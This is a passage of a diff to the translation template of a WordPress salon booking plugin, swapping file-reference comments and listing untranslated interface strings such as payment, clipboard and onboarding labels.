build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:415, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:415, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:388, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:388, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:415\n-msgid \"Paid deposit\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fservice.php:144\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fservice.php:144\n+msgid \"\"\n+\"Consider that this option will affect the availability of your staff members \"\n+\"that you have associated with this service.\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:416, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:416, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:416, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:389, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:389, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:416\n-msgid \"To be paid\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPlugin.php:301\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPlugin.php:301\n+msgid \"Contact Us:\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:417, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:417, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:417, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:390, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:390, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:417\n-msgid \"Tax\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Fonboarding.php:111\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Fonboarding.php:153\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Fonboarding.php:175\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Fonboarding.php:197\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAdmin\u002FOnboarding.php:156\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fonboarding.php:111\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fonboarding.php:153\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fonboarding.php:175\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fonboarding.php:197\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FOnboarding.php:146\n+msgid \"Continue\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Fonboarding.php:231\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fonboarding.php:231\n+msgid \"Continue with Free\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002Fsalon_date.php:71\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002Fsalon_services.php:72\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002Fsalon_date.php:71\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002Fsalon_services.php:72\n+msgid \"Cookies are disabled in your browser.\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:418, views\u002Fshortcode\u002F_salon_summary_400.php:124, views\u002Fshortcode\u002F_salon_summary_600.php:124, views\u002Fshortcode\u002F_salon_summary_900.php:123, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:418, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002F_salon_summary_400.php:124, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002F_salon_summary_600.php:124, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002F_salon_summary_900.php:123, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:418, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_summary_400.php:124, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_summary_600.php:124, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_summary_900.php:123, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:391, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002F_salon_summary_400.php:124, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002F_salon_summary_600.php:124, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002F_salon_summary_900.php:123, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:391, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002F_salon_summary_400.php:124, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002F_salon_summary_600.php:124, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002F_salon_summary_900.php:123, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:418, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002F_salon_summary_400.php:124, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002F_salon_summary_600.php:124, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002F_salon_summary_900.php:123\n-msgid \"Transaction fee\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:54\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:54\n+msgid \"Copied!\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:422, views\u002Fmetabox\u002Fbooking.php:485, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:422, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fbooking.php:485, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:422, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fbooking.php:485, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:395, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:395, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fbooking.php:485, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:422, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fbooking.php:485\n-msgid \"Toggle no-show status\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Ftools.php:19\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Ftools.php:19\n+msgid \"\"\n+\"Copy and paste into a text file the informations of this field and provide \"\n+\"them to Salon Booking support.\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:423, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:423, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:423, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:396, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:396, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:423\n-msgid \"View customer\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Ftools.php:35\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Ftools.php:35\n+msgid \"\"\n+\"Copy and paste into this field settings of the plugin to import settings \"\n+\"into the current wordpress install.\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:424, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:424, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:424, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:397, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:397, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:424\n-msgid \"Delete booking\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPostType\u002FAbstract.php:89\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FAbstract.php:89\n+msgid \"Copy creation failed, could not find original:\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:425, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:425, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:425, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:398, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:398, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:425\n-msgid \"Duplicate booking\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:300\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:300\n+msgid \"Copy the API key and paste it below\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:426, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:426, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:426, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:399, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:399, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:426\n-msgid \"Duplicate booking (Pro feature)\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_advanced.php:49\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_advanced.php:49\n+msgid \"Copy this code and give it to your customers\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:429, views\u002Fmetabox\u002Fbooking.php:641, views\u002Fmetabox\u002Fservice.php:32, views\u002Fshortcode\u002Fsalon_booking_services.php:42, src\u002FSLN\u002FPostType\u002FBooking.php:269, src\u002FSLN\u002FPostType\u002FService.php:153, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:429, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fbooking.php:641, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fservice.php:32, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002Fsalon_booking_services.php:42, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:269, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:153, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:429, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fbooking.php:641, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fservice.php:32, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002Fsalon_booking_services.php:42, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:402, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fbooking.php:526, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fservice.php:32, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002Fsalon_booking_services.php:42, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:402, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fbooking.php:635, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fservice.php:32, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002Fsalon_booking_services.php:42, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:429, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fbooking.php:641, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fservice.php:32, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002Fsalon_booking_services.php:42, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:269, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:153, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:269, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:153, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:269, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:153, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:269, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:153\n-msgid \"Duration\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:139\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:139\n+msgid \"Copy to clipboard\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:431, views\u002Fshortcode\u002F_salon_date_pickers.php:38, src\u002FSLN\u002FPostType\u002FService.php:257, src\u002FSLN\u002FPostType\u002FService.php:261, views\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table.php:9, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:431, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002F_salon_date_pickers.php:38, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:257, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:261, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table.php:9, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:431, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_date_pickers.php:38, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:404, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002F_salon_date_pickers.php:38, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:404, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002F_salon_date_pickers.php:38, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:431, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002F_salon_date_pickers.php:38, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:257, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:261, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table.php:9, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:257, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:261, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table.php:9, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:257, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:261, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table.php:9, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:257, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPostType\u002FService.php:261, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table.php:9\n-msgid \"Services\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FInitScripts.php:375\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FInitScripts.php:375\n+msgid \"Could be not available\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:432, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:432, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:432, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:405, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:405, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:432\n-msgid \"Attendants\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:55\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:55\n+msgid \"Could not copy to clipboard.\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:433, views\u002Fshortcode\u002F_salon_summary_show_tips.php:17, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:433, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002F_salon_summary_show_tips.php:17, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:433, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_summary_show_tips.php:17, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:406, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002F_salon_summary_show_tips.php:17, 